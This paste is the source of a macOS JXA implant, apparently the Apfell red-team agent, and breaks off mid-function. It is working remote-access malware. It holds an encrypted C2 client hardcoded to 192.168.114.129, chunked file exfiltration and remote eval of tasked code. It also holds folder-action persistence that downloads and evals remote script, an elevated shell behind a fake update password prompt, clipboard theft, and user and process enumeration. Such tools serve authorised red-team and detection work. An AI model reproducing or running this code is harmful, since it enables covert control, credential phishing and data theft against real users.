· 6 years ago · Oct 30, 2019, 11:26 PM
1// Created by Cody Thomas - @its_a_feature_
2ObjC.import('Cocoa');
3ObjC.import('Foundation'); //there by default I think, but safe to include anyway
4ObjC.import('stdlib');
5var currentApp = Application.currentApplication();
6currentApp.includeStandardAdditions = true;
7//--------------IMPLANT INFORMATION-----------------------------------
8class implant{
9 constructor(){
10 this.procInfo = $.NSProcessInfo.processInfo;
11 this.hostInfo = $.NSHost.currentHost;
12 this.id = -1;
13 this.user = ObjC.deepUnwrap(this.procInfo.userName);
14 this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
15 //every element in the array needs to be unwrapped
16 this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); //probably just need [0]
17 this.pid = this.procInfo.processIdentifier;
18 //every element in the array needs to be unwrapped
19 this.host = ObjC.deepUnwrap(this.hostInfo.names); //probably just need [0]
20 this.killdate = "";
21 //this is a dictionary, but every 'value' needs to be unwrapped
22 this.environment = ObjC.deepUnwrap(this.procInfo.environment);
23 this.uptime = this.procInfo.systemUptime;
24 //every element in the array needs to be unwrapped
25 this.args = ObjC.deepUnwrap(this.procInfo.arguments);
26 this.osVersion = this.procInfo.operatingSystemVersionString.js;
27 this.uuid = "dedacf22-5acd-4feb-8c30-d07092c770f9";
28 }
29}
30apfell = new implant();
31//--------------Base C2 INFORMATION----------------------------------------
32class baseC2{
33 //To create your own C2, extend this class and implement the required functions
34 //The main code depends on the mechanism being C2 with these functions.
35 // the implementation of the functions doesn't matter though
36 // You're welcome to add additional functions as well, but this is the minimum
37 constructor(interval, baseurl){
38 this.interval = interval; //seconds between callbacks
39 this.baseurl = baseurl; //where to reach out to
40 this.commands = [];
41 }
42 getInterval(){
43 return this.interval;
44 }
45 checkin(){
46 //check in with c2 server
47 }
48 getTasking(){
49 //reach out to wherever to get tasking
50 }
51 getConfig(){
52 //gets the current configuration for tasking
53 }
54 postResponse(task, output){
55 //output a response to a task
56 }
57 setConfig(params){
58 //updates the current configuration for how to get tasking
59 }
60 download(task, params){
61 //gets a file from the apfell server in some way
62 }
63 upload(task, params){
64 //uploads a file in some way to the teamserver
65 }
66}
67//-------------RESTFUL C2 mechanisms ---------------------------------
68class customC2 extends baseC2{
69 constructor(interval, baseurl){
70 super(interval, baseurl);
71 this.commands = [];
72 this.host_header = "";
73 this.aes_psk = "AxA4HYqWTlZL1pEcJxrZtmvx2+1YccL7XP/75Ip4kV8="; // base64 encoded key
74 if(this.aes_psk != ""){
75 this.parameters = $({"type": $.kSecAttrKeyTypeAES});
76 this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
77 this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
78 }
79 this.using_key_exchange = "T" == "T";
80 if(this.using_key_exchange){
81 //lets us know if we can decrypt right away or not
82 this.exchanging_keys = true;
83 }else{
84 this.exchanging_keys = false;
85 }
86 }
87 encrypt_message(data){
88 // takes in the string we're about to send, encrypts it, and returns a new string
89 //create the encrypt transform variable
90 var encrypt = $.SecEncryptTransformCreate(this.cryptokey, Ref());
91 $.SecTransformSetAttribute(encrypt, $.kSecPaddingKey, $.kSecPaddingPKCS7Key, Ref());
92 $.SecTransformSetAttribute(encrypt, $.kSecEncryptionMode, $.kSecModeCBCKey, Ref());
93 //generate a random IV to use
94 var IV = $.NSMutableData.dataWithLength(16);
95 $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
96 //var IVref = $.CFDataCreate($(), IV, 16);
97 $.SecTransformSetAttribute(encrypt, $.kSecIVKey, IV, Ref());
98 // set our data to be encrypted
99 var cfdata = $.CFDataCreate($.kCFAllocatorDefault, data, data.length);
100 $.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, cfdata, Ref());
101 var encryptedData = $.SecTransformExecute(encrypt, Ref());
102 // now we need to prepend the IV to the encrypted data before we base64 encode and return it
103 var final_message = IV;
104 final_message.appendData(encryptedData);
105 return final_message.base64EncodedStringWithOptions(0);
106 }
107 decrypt_message(data){
108 //takes in a base64 encoded string to be decrypted and returned
109 //console.log("called decrypt");
110 var nsdata = $.NSData.alloc.initWithBase64Encoding(data);
111 var decrypt = $.SecDecryptTransformCreate(this.cryptokey, Ref());
112 $.SecTransformSetAttribute(decrypt, $.kSecPaddingKey, $.kSecPaddingPKCS7Key, Ref());
113 $.SecTransformSetAttribute(decrypt, $.kSecEncryptionMode, $.kSecModeCBCKey, Ref());
114 //console.log("making ranges");
115 //need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
116 var iv_range = $.NSMakeRange(0, 16);
117 var message_range = $.NSMakeRange(16, nsdata.length - 16);
118 //console.log("carving out iv");
119 var iv = nsdata.subdataWithRange(iv_range);
120 //console.log("setting iv");
121 $.SecTransformSetAttribute(decrypt, $.kSecIVKey, iv, Ref());
122 //console.log("carving out rest of message");
123 var message = nsdata.subdataWithRange(message_range);
124 $.SecTransformSetAttribute(decrypt, $.kSecTransformInputAttributeName, message, Ref());
125 //console.log("decrypting");
126 var decryptedData = $.SecTransformExecute(decrypt, Ref());
127 //console.log("making a string from the message");
128 var decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
129 //console.log(decrypted_message.js);
130 return decrypted_message;
131 }
132 negotiate_key(){
133 // Generate a public/private key pair
134 var parameters = $({"type": $.kSecAttrKeyTypeRSA, "bsiz": $(4096), "perm": false});
135 var privatekey = $.SecKeyCreateRandomKey(parameters, Ref());
136 var publickey = $.SecKeyCopyPublicKey(privatekey);
137 var exported_public = $.SecKeyCopyExternalRepresentation(publickey, Ref());
138 exported_public = exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
139 var s = "abcdefghijklmnopqrstuvwxyz";
140 var session_key = Array(10).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
141 var initial_message = JSON.stringify({"SESSIONID": session_key, "PUB": exported_public});
142 //console.log("sending: " + initial_message);
143 // Encrypt our initial message with sessionID and Public key with the initial AES key
144 while(true){
145 try{
146 var base64_pub_encrypted = this.htmlPostData("api/v1.3/crypto/EKE/" + apfell.uuid, initial_message);
147 var pub_encrypted = $.NSData.alloc.initWithBase64Encoding(base64_pub_encrypted);
148 // Decrypt the response with our private key
149 var decrypted_message = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, pub_encrypted, Ref());
150 decrypted_message = $.NSString.alloc.initWithDataEncoding(decrypted_message, $.NSUTF8StringEncoding);
151 //console.log("got back: " + decrypted_message.js);
152 var json_response = JSON.parse(decrypted_message.js);
153 // Adjust our global key information with the newly adjusted session key
154 this.aes_psk = json_response['SESSIONKEY']; // base64 encoded key
155 this.parameters = $({"type": $.kSecAttrKeyTypeAES});
156 this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
157 this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
158 this.exchanging_keys = false;
159 return session_key;
160
161 }catch(error){
162 $.NSThread.sleepForTimeInterval(this.interval); // don't spin out crazy if the connection fails
163 }
164 }
165 }
166 getConfig(){
167 //A RESTful base config consists of the following:
168 // BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
169 return JSON.stringify({'baseurl': this.baseurl, 'interval': this.interval, 'killdate': '', 'commands': this.commands.join(",")}, null, 2);
170 }
171 setConfig(params){
172 //A RESTful base config has 3 updatable components
173 // BaseURL (includes Port), CallbackInterval, and KillDate (not implemented yet)
174 if(params['commands'] != undefined){
175 this.commands = params['commands'];
176 }
177 }
178 checkin(ip, pid, user, host){
179 //get info about system to check in initially
180 //needs IP, PID, user, host, payload_type
181 var info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid};
182 if(user == "root"){
183 info['integrity_level'] = 3;
184 }
185 //calls htmlPostData(url,data) to actually checkin
186 //Encrypt our data
187 //gets back a unique ID
188 if(this.exchanging_keys){
189 var sessionID = this.negotiate_key();
190 var jsondata = this.htmlPostData("api/v1.3/crypto/EKE/" + sessionID, JSON.stringify(info));
191 }else if(this.aes_psk != ""){
192 var jsondata = this.htmlPostData("api/v1.3/crypto/aes_psk/" + apfell.uuid, JSON.stringify(info));
193 }else{
194 var jsondata = this.htmlPostData("api/v1.3/callbacks/", JSON.stringify(info));
195 }
196 apfell.id = jsondata.id;
197 // if we fail to get a new ID number, then exit the application
198 if(apfell.id == undefined){ $.NSApplication.sharedApplication.terminate(this); }
199 return jsondata;
200 }
201 getTasking(){
202 while(true){
203 try{
204 var url = this.baseurl + "api/v1.3/tasks/callback/" + apfell.id + "/nextTask";
205 var task = this.htmlGetData(url);
206 return JSON.parse(task);
207 }
208 catch(error){
209 $.NSThread.sleepForTimeInterval(this.interval); // don't spin out crazy if the connection fails
210 }
211 }
212
213 }
214 postResponse(task, output){
215 // this will get the task object and the response output
216 return this.postRESTResponse("api/v1.3/responses/" + task.id, output);
217 }
218 postRESTResponse(urlEnding, data){
219 //depending on the amount of data we're sending, we might need to chunk it
220 var size= 512000;
221 var offset = 0;
222 //console.log("total response size: " + data.length);
223 do{
224 var csize = data.length - offset > size ? size : data.length - offset;
225 var dataChunk = data.subdataWithRange($.NSMakeRange(offset, csize));
226 var encodedChunk = dataChunk.base64EncodedStringWithOptions(0).js;
227 offset += csize;
228 var postData = {"response": encodedChunk};
229 var jsondata = this.htmlPostData(urlEnding, JSON.stringify(postData));
230 }while(offset < data.length);
231
232 return jsondata;
233 }
234 htmlPostData(urlEnding, sendData){
235 var url = this.baseurl + urlEnding;
236 //console.log(url);
237 //encrypt our information before sending it
238 if(this.aes_psk != ""){
239 var data = this.encrypt_message(sendData);
240 }else{
241 var data = $.NSString.alloc.initWithUTF8String(sendData);
242 }
243 while(true){
244 try{ //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
245 //console.log("posting: " + sendData + " to " + urlEnding);
246 var req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
247 req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
248 var postData = data.dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
249 var postLength = $.NSString.stringWithFormat("%d", postData.length);
250 req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
251 if( this.host_header.length > 0){
252 req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.host_header), $.NSString.alloc.initWithUTF8String("Host"));
253 }
254 req.setHTTPBody(postData);
255 var response = Ref();
256 var error = Ref();
257 var responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
258 var resp = $.NSString.alloc.initWithDataEncoding(responseData, $.NSUTF8StringEncoding);
259 var deepresp = ObjC.deepUnwrap(resp);
260 if(deepresp[0] == "<"|| deepresp.length == 0 || deepresp.includes("ERROR: Requested URL")){
261 //this means we likely got back some form of error or redirect message, not our actual data
262 //console.log(deepresp);
263 continue;
264 }
265
266 //console.log("response: " + resp.js);
267 if(!this.exchanging_keys){
268 //we're not doing the initial key exchange
269 if(this.aes_psk != ""){
270 //if we do need to decrypt the response though, do that
271 resp = ObjC.unwrap(this.decrypt_message(resp));
272 var jsondata = JSON.parse(resp);
273 return jsondata;
274 }else{
275 //we don't need to decrypt it, so we can just parse and return it
276 return JSON.parse(resp.js);
277 }
278 }
279 else{
280 //if we are currently exchanging keys, just return the response so we can decrypt it differently
281 return resp;
282 }
283
284 }
285 catch(error){
286 $.NSThread.sleepForTimeInterval(this.interval); // don't spin out crazy if the connection fails
287 }
288 }
289 }
290 htmlGetData(url){
291 while(true){
292 try{
293 var req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
294 req.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET"));
295 if( this.host_header.length > 0){
296 req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.host_header), $.NSString.alloc.initWithUTF8String("Host"));
297 }
298 var response = Ref();
299 var error = Ref();
300 var responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
301 var data = $.NSString.alloc.initWithDataEncoding(responseData, $.NSUTF8StringEncoding);
302 var deepresp = ObjC.deepUnwrap(data);
303 if(deepresp[0] == "<"|| deepresp.length == 0 || deepresp.includes("ERROR: Requested URL")){
304 //this means we likely got back some form of error or redirect message, not our actual data
305 //console.log(deepresp);
306 continue;
307 }
308
309 if(this.aes_psk != ""){
310 var decrypted_message = this.decrypt_message(data);
311 }else{
312 var decrypted_message = data;
313 }
314 //console.log(decrypted_message.js);
315 return decrypted_message.js;
316 }
317 catch(error){
318 //console.log("error in htmlGetData: " + error.toString());
319 $.NSThread.sleepForTimeInterval(this.interval); //wait timeout seconds and try again
320 }
321 }
322 }
323 download(task, params){
324 // download just has one parameter of the path of the file to download
325 if( does_file_exist(params) ){
326 var offset = 0;
327 var url = "api/v1.3/responses/" + task.id;
328 var chunkSize = 512000; //3500;
329 // get the full real path to the file
330 try{
331 if(params[0] != "/"){
332 var fileManager = $.NSFileManager.defaultManager;
333 var cwd = fileManager.currentDirectoryPath.js;
334 params = cwd + "/" + params;
335 }
336 var handle = $.NSFileHandle.fileHandleForReadingAtPath(params);
337 // Get the file size by seeking;
338 var fileSize = handle.seekToEndOfFile;
339 }catch(error){
340 output = JSON.stringify({'status': 'error', 'error': error.toString()})
341 }
342
343 // always round up to account for chunks that are < chunksize;
344 var numOfChunks = Math.ceil(fileSize / chunkSize);
345 var registerData = JSON.stringify({'total_chunks': numOfChunks, 'task': task.id, 'full_path': params});
346 var registerData = convert_to_nsdata(registerData);
347 var registerFile = this.htmlPostData(url, JSON.stringify({"response": registerData.base64EncodedStringWithOptions(0).js}));
348 //var registerFile = this.postResponse(task, registerData);
349 if (registerFile['status'] == "success"){
350 handle.seekToFileOffset(0);
351 var currentChunk = 1;
352 var data = handle.readDataOfLength(chunkSize);
353 while(parseInt(data.length) > 0 && offset < fileSize){
354 // send a chunk
355 var fileData = JSON.stringify({'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'task': task.id, 'file_id': registerFile['file_id']});
356 fileData = convert_to_nsdata(fileData);
357 this.htmlPostData(url, JSON.stringify({"response": fileData.base64EncodedStringWithOptions(0).js}))
358 //this.postResponse(task, fileData);
359 $.NSThread.sleepForTimeInterval(this.interval);
360
361 // increment the offset and seek to the amount of data read from the file
362 offset += parseInt(data.length);
363 handle.seekToFileOffset(offset);
364 currentChunk += 1;
365 data = handle.readDataOfLength(chunkSize);
366 }
367 var output = JSON.stringify({"status":"finished", "file_id": registerFile['file_id']})
368 }
369 else{
370 var output = JSON.stringify({'status': 'error', 'error': "Failed to register file to download"});
371 }
372 }
373 else{
374 var output = JSON.stringify({'status': 'error', 'error': "file does not exist"});
375 }
376 return output;
377 }
378 upload(task, params){
379 try{
380 var url = "api/v1.3/files/" + params + "/callbacks/" + apfell.id;
381 var file_data = this.htmlGetData(this.baseurl + url);
382 if(file_data === undefined){
383 throw "Got nothing from the Apfell server";
384 }
385 var decoded_data = $.NSData.alloc.initWithBase64Encoding($(file_data));
386 //var file_data = $.NSString.alloc.initWithDataEncoding(decoded_data, $.NSUTF8StringEncoding).js;
387 return decoded_data;
388 //var output = write_data_to_file(decoded_data, file_path);
389 //return output;
390 }catch(error){
391 return error.toString();
392 }
393
394 }
395}
396//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
397ObjC.import('Security');
398C2 = new customC2(10, "192.168.114.129:80/");//-------------SHARED COMMAND CODE ------------------------
399does_file_exist = function(strPath){
400 var error = $();
401 return $.NSFileManager.defaultManager.attributesOfItemAtPathError($(strPath).stringByStandardizingPath, error), error.code === undefined;
402};
403convert_to_nsdata = function(strData){
404 // helper function to convert UTF8 strings to NSData objects
405 var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding);
406 return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding);
407};
408write_data_to_file = function(data, file_path){
409 try{
410 //var open_file = currentApp.openForAccess(Path(file_path), {writePermission: true});
411 //currentApp.setEof(open_file, { to: 0 }); //clear the current file
412 //currentApp.write(data, { to: open_file, startingAt: currentApp.getEof(open_file) });
413 //currentApp.closeAccess(open_file);
414 if(typeof data == "string"){
415 data = convert_to_nsdata(data);
416 }
417 if (data.writeToFileAtomically($(file_path), true)){
418 return "file written";
419 }
420 else{
421 return "failed to write file";
422 }
423 }
424 catch(error){
425 return "failed to write to file: " + error.toString();
426 }
427};
428default_load = function(contents){
429 var module = {exports: {}};
430 var exports = module.exports;
431 if(typeof contents == "string"){
432 eval(contents);
433 }
434 else{
435 eval(contents.js);
436 }
437 return module.exports;
438};
439base64_decode = function(data){
440 if(typeof data == "string"){
441 var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
442 }
443 else{
444 var ns_data = data;
445 }
446 var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
447 return decoded_data;
448};
449base64_encode = function(data){
450 if(typeof data == "string"){
451 var ns_data = convert_to_nsdata(data);
452 }
453 else{
454 var ns_data = data;
455 }
456 var encoded = ns_data.base64EncodedStringWithOptions(0).js;
457 return encoded;
458};
459 exports = {}; // get stuff ready for initial command listing
460exports.jscript = function(task, command, params){
461 //simply eval a javascript string and return the response
462 var response = "";
463 try{
464 response = ObjC.deepUnwrap(eval(params));
465 }
466 catch(error){
467 response = error.toString();
468 }
469 if(response === undefined || response == ""){
470 response = "No Command Output";
471 }
472 if(response == true){
473 return "True";
474 }
475 if(response == false){
476 return "False";
477 }
478 if(typeof(response) != "string"){
479 response = String(response);
480 }
481 return response;
482};
483exports.persist_folderaction = function(task, command, params){
484 try{
485 // ======= Get params ========
486 var json_params = JSON.parse(params);
487 var folder = json_params['folder'];
488 var script_path = json_params['script_path'];
489 var url = json_params['url'];
490 var code = json_params['code'];
491 var lang = json_params['language'];
492 var code1 = "var app = Application.currentApplication();\n" +
493 "app.includeStandardAdditions = true;\n" +
494 "app.doShellScript(\" osascript -l JavaScript -e \\\"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('";
495 var code2 = "')),$.NSUTF8StringEncoding)));\\\" &> /dev/null &\");";
496 var output = "";
497 // ======== Compile and write script to file ==========
498 ObjC.import('OSAKit');
499 if(code != ""){
500 mylang = $.OSALanguage.languageForName(lang);
501 myscript = $.OSAScript.alloc.initWithSourceLanguage($(code),mylang);
502 }else{
503 mylang = $.OSALanguage.languageForName("JavaScript");
504 myscript = $.OSAScript.alloc.initWithSourceLanguage($(code1 + url + code2),mylang);
505 }
506
507 myscript.compileAndReturnError($());
508 data = myscript.compiledDataForTypeUsingStorageOptionsError("osas", 0x00000003, $());
509 data.writeToFileAtomically(script_path, true);
510 // ======= Handle the folder action persistence =======
511 var se = Application("System Events");
512 se.folderActionsEnabled = true;
513 var fa_exists = false;
514 var script_exists = false;
515 var myScript = se.Script({name: script_path.split("/").pop(), posixPath: script_path});
516 var fa = se.FolderAction({name: folder.split("/").pop(), path: folder});
517 // first check to see if there's a folder action for the path we're looking at
518 for(var i = 0; i < se.folderActions.length; i++){
519 if(se.folderActions[i].path() == folder){
520 // if our folder already has folder actions, just take the reference for later
521 fa = se.folderActions[i];
522 fa_exists = true;
523 output += "Folder already has folder actions\n";
524 break;
525 }
526 }
527 // if the folder action doesn't exist, add it
528 if(fa_exists == false){
529 se.folderActions.push(fa);
530 }
531 // Check to see if this script already exists on this folder
532 for(var i = 0; i < fa.scripts.length; i++){
533 if(fa.scripts[i].posixPath() == script_path){
534 script_exists = true;
535 output += "Script already assigned to this folder\n";
536 break;
537 }
538 }
539 if(script_exists == false){
540 fa.scripts.push(myScript);
541 }
542 output += "Folder Action established";
543 return output;
544 }catch(error){
545 return error.toString();
546 }
547};
548exports.shell_elevated = function(task, command, params){
549 try{
550 var response = "";
551 if(params.length > 0){ var pieces = JSON.parse(params); }
552 else{ var pieces = []; }
553 if(pieces.hasOwnProperty('command') && pieces['command'] != ""){ var cmd = pieces['command']; }
554 else{ var cmd = "whoami"; }
555 var use_creds = false;
556 var prompt = "An application needs permission to update";
557 if(pieces.hasOwnProperty('use_creds') && typeof pieces['use_creds'] == "boolean"){ var use_creds = pieces['use_creds'];}
558 if(!use_creds){
559 if(pieces.hasOwnProperty('prompt') && pieces['prompt'] != ""){ var prompt = pieces['prompt'];}
560 try{
561 response = currentApp.doShellScript(cmd, {administratorPrivileges:true,withPrompt:prompt});
562 }
563 catch(error){
564 response = error.toString();
565 }
566 }
567 else{
568 if(pieces.hasOwnProperty('user') && pieces['user'] != ""){ var userName = pieces['user']; }
569 else{ var userName = apfell.user; }
570 if(pieces.hasOwnProperty('credential')){ var password = pieces['credential']; }
571 else{ var password = ""; }
572 try{
573 response = currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:userName, password:password});
574 }
575 catch(error){
576 response = error.toString();
577 }
578 }
579 return response;
580 }catch(error){
581 return error.toString();
582 }
583};
584exports.run = function(task, command, params){
585 //launch a program and args via ObjC bridge without doShellScript and return response
586 try{
587 var response = "";
588 var pieces = JSON.parse(params);
589 var path = pieces['path'];
590 //console.log(path);
591 var args = pieces['args'];
592 }catch(error){
593 return error.toString();
594 }
595 try{
596 var pipe = $.NSPipe.pipe;
597 var file = pipe.fileHandleForReading; // NSFileHandle
598 var task = $.NSTask.alloc.init;
599 task.launchPath = path; //'/bin/ps'
600 task.arguments = args; //['ax']
601 task.standardOutput = pipe; // if not specified, literally writes to file handles 1 and 2
602 task.standardError = pipe;
603 //console.log("about to launch");
604 task.launch; // Run the command 'ps ax'
605 //console.log("launched");
606 if(args[args.length - 1] != "&"){
607 //if we aren't tasking this to run in the background, then try to read the output from the program
608 // this will hang our main program though for now
609 var data = file.readDataToEndOfFile; // NSData, potential to hang here?
610 file.closeFile;
611 response = data;
612 }
613 else{
614 response = "launched program";
615 }
616 }
617 catch(error){
618 response = error.toString();
619 }
620 return response;
621};
622exports.launchapp = function(task, command, params){
623 //this should be the bundle identifier like com.apple.itunes to launch
624 //it will launch hidden, asynchronously, and will be 'hidden' (still shows up in the dock though)
625 var response = "";
626 try{
627 ObjC.import('AppKit');
628 $.NSWorkspace.sharedWorkspace.launchAppWithBundleIdentifierOptionsAdditionalEventParamDescriptorLaunchIdentifier(
629 params,
630 $.NSWorkspaceLaunchAsync | $.NSWorkspaceLaunchAndHide | $.NSWorkspaceLaunchWithoutAddingToRecents ,
631 $.NSAppleEventDescriptor.nullDescriptor,
632 null
633 );
634 response = 'success';
635 }
636 catch(error){
637 response = error.toString();
638 }
639 return response;
640};
641exports.clipboard = function(task, command, params){
642 var response;
643 ObjC.import('AppKit');
644 if(params != undefined && params != ""){
645 // Try setting the clipboard to whatever is in params
646 try{
647 $.NSPasteboard.generalPasteboard.clearContents;
648 $.NSPasteboard.generalPasteboard.setStringForType($(params), $.NSPasteboardTypeString);
649 //currentApp.setTheClipboardTo(params);
650 response = 'success';
651 }
652 catch(error){
653 response = error.toString();
654 }
655 return response;
656 }
657 else{
658 //try just reading the clipboard data and returning it
659 try{
660
661 var pb = $.NSPasteboard.generalPasteboard;
662 var output = pb.stringForType($.NSPasteboardTypeString).js;
663 //var output = currentApp.theClipboard();
664 if(output == "" || output == undefined){
665 output = "Nothing on the clipboard";
666 }
667 return output;
668 }
669 catch(error){
670 return error.toString();
671 }
672 }
673};
674exports.list_apps = function(task, command, params){
675 var method = "api";
676 var verbose = false;
677 data = JSON.parse(params);
678 if(data.hasOwnProperty('method') && data['method'] != ""){
679 method = data['method'];
680 }
681 if(data.hasOwnProperty('verbose') && data['verbose'] != ""){
682 verbose = data['verbose'];
683 }
684 if(method == "jxa"){
685 var procs = Application("System Events").processes;
686 var names = [];
687 for (var i = 0; i < procs.length; i++){
688 var info = "Name: " + procs[i].name() +
689 "\npid: " + procs[i].id() +
690 "\ndisplayedName: " + procs[i].displayedName() +
691 "\nshortName: " + procs[i].shortName() +
692 "\nfile: " + procs[i].file().typeIdentifier();
693 if(params){
694 info += "HighLevelEvents: " + procs[i].acceptsHighLevelEvents() +
695 "\nRemoteEvents: " + procs[i].acceptsRemoteEvents() +
696 "\nArchitecture: " + procs[i].architecture() +
697 "\nBackgroundOnly: " + procs[i].backgroundOnly() +
698 "\nBundleIdentifer: " + procs[i].bundleIdentifier() +
699 "\nclassic: " + procs[i].classic() +
700 "\ncreatorType: " + procs[i].creatorType() +
701 "\nfileType: " + procs[i].fileType() +
702 "\nfrontmost: " + procs[i].frontmost() +
703 "\nScriptable: " + procs[i].hasScriptingTerminology() +
704 "\npartitionSpaceUsed: " + procs[i].partitionSpaceUsed() +
705 "\ntotalPartitionSize: " + procs[i].totalPartitionSize() +
706 "\nunixId: " + procs[i].unixId() +
707 "\nvisible: " + procs[i].visible();
708 };
709 names.push(info);
710 }
711 return JSON.stringify(names, null, 2);
712 }
713 else if(method == "api"){
714 ObjC.import('AppKit');
715 var names = {};
716 var output = "";
717 var procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
718 for(var i = 0; i < procs.length; i++){
719 var info = {};
720 if(verbose){
721 info['frontMost'] = procs[i].active;
722 info['hidden'] = procs[i].hidden;
723 info['bundle'] = procs[i].bundleIdentifier.js;
724 info['bundleURL'] = procs[i].bundleURL.path.js;
725 info['bundleExecutable'] = procs[i].executableURL.path.js;
726 info['pid'] = procs[i].processIdentifier;
727 info['localizedName'] = procs[i].localizedName.js;
728 if(procs[i].executableArchitecture == "16777223"){
729 info['architecture'] = "x86_64";
730 }
731 else if(procs[i].executableArchitecture == "7"){
732 info['architecture'] = "x86";
733 }
734 else if(procs[i].executableArchitecture == "18"){
735 info['architecture'] = "x86_PPC";
736 }
737 else if(procs[i].executableArchitecture == "16777234"){
738 info['architecture'] = "x86_64_PPC";
739 }
740 names[info['pid']] = info;
741 }
742 else{
743 output += "\n" + procs[i].processIdentifier + "\t" + procs[i].localizedName.js;
744 }
745 }
746 if(verbose){
747 return JSON.stringify(names, null, 2);
748 }
749 else{
750 return output;
751 }
752
753 }
754};
755exports.list_users = function(task, command, params){
756 all_users = [];
757 var method = "api";
758 var gid = -1;
759 var groups = false;
760 if(params.length > 0){
761 data = JSON.parse(params);
762 if(data.hasOwnProperty('method') && data['method'] != ""){
763 method = data['method'];
764 }
765 if(data.hasOwnProperty('gid') && data['gid'] != ""){
766 gid = data['gid'];
767 }
768 if(data.hasOwnProperty("groups") && data['groups'] != ""){
769 groups = data['groups'];
770 }
771 }
772 if(method == "jxa"){
773 var users = Application("System Events").users;
774 for (var i = 0; i < users.length; i++){
775 var info = "Name: " + users[i].name() +
776 "\nFullName: " + users[i].fullName() +
777 "\nhomeDirectory: " + users[i].homeDirectory() +
778 "\npicturePath: " + users[i].picturePath();
779 all_users.push(info);
780 }
781 return JSON.stringify(all_users, null, 2);
782 }
783 else if(method == "api"){
784 ObjC.import('Collaboration');
785 ObjC.import('CoreServices');
786 if(gid == -1){
787 var defaultAuthority = $.CSGetLocalIdentityAuthority();
788 if(groups){
789 var identityClass = 2; //enumerate groups
790 all_users = {}; // we will want to do a dictionary so we can group the members by their GID
791 }
792 else{
793 var identityClass = 1; //enumerate users
794 }
795 var query = $.CSIdentityQueryCreate($(), identityClass, defaultAuthority);
796 var error = Ref();
797 $.CSIdentityQueryExecute(query, 0, error);
798 var results = $.CSIdentityQueryCopyResults(query);
799 var numResults = parseInt($.CFArrayGetCount(results));
800 results = results.js;
801 for(var i = 0; i < numResults; i++){
802 var identity = results[i];
803 var idObj = $.CBIdentity.identityWithCSIdentity(identity);
804 if(groups){
805 //if we're looking at groups, then we have a different info to print out
806 all_users[idObj.posixGID] = [];
807 var members = idObj.memberIdentities.js;
808 for(var j = 0; j < members.length; j++){
809 var info = "POSIXName(ID): " + members[j].posixName.js + "(" + members[j].posixUID + "), LocalAuthority: " + members[j].authority.localizedName.js + ", fullName: " + members[j].fullName.js +
810 "\nEmails: " + members[j].emailAddress.js + ", isHiddenAccount: " + members[j].isHidden + ", Enabled: " + members[j].isEnabled + ", Aliases: " + ObjC.deepUnwrap(members[j].aliases) + ", UUID: " + members[j].UUIDString.js + "\n";
811 all_users[idObj.posixGID].push(info);
812 }
813 }
814 else{
815 var info = "POSIXName(ID): " + idObj.posixName.js + "(" + idObj.posixUID + "), LocalAuthority: " + idObj.authority.localizedName.js + ", fullName: " + idObj.fullName.js +
816 "\nEmails: " + idObj.emailAddress.js + ", isHiddenAccount: " + idObj.isHidden + ", Enabled: " + idObj.isEnabled + ", Aliases: " + ObjC.deepUnwrap(idObj.aliases) + ", UUID: " + idObj.UUIDString.js + "\n";
817 all_users.push(info);
818 }
819 }
820 }
821 else{
822 var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
823 var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
824 var results = group.memberIdentities.js;
825 var numResults = results.length;
826 for(var i = 0; i < numResults; i++){
827 var idObj = results[i];
828 var info = "POSIXName(ID): " + idObj.posixName.js + "(" + idObj.posixUID + "), LocalAuthority: " + idObj.authority.localizedName.js + ", fullName: " + idObj.fullName.js +
829 "\nEmails: " + idObj.emailAddress.js + ", isHiddenAccount: " + idObj.isHidden + ", Enabled: " + idObj.isEnabled + ", Aliases: " + ObjC.deepUnwrap(idObj.aliases) + ", UUID: " + idObj.UUIDString.js + "\n";
830 all_users.push(info);
831 }
832 }
833
834 return JSON.stringify(all_users, null, 2);
835 }
836 else{
837 return "Method not known";
838 }
839};
840exports.current_user = function(task, command, params){
841 try{
842 var method = "api";
843 if(params.length > 0){
844 data = JSON.parse(params);
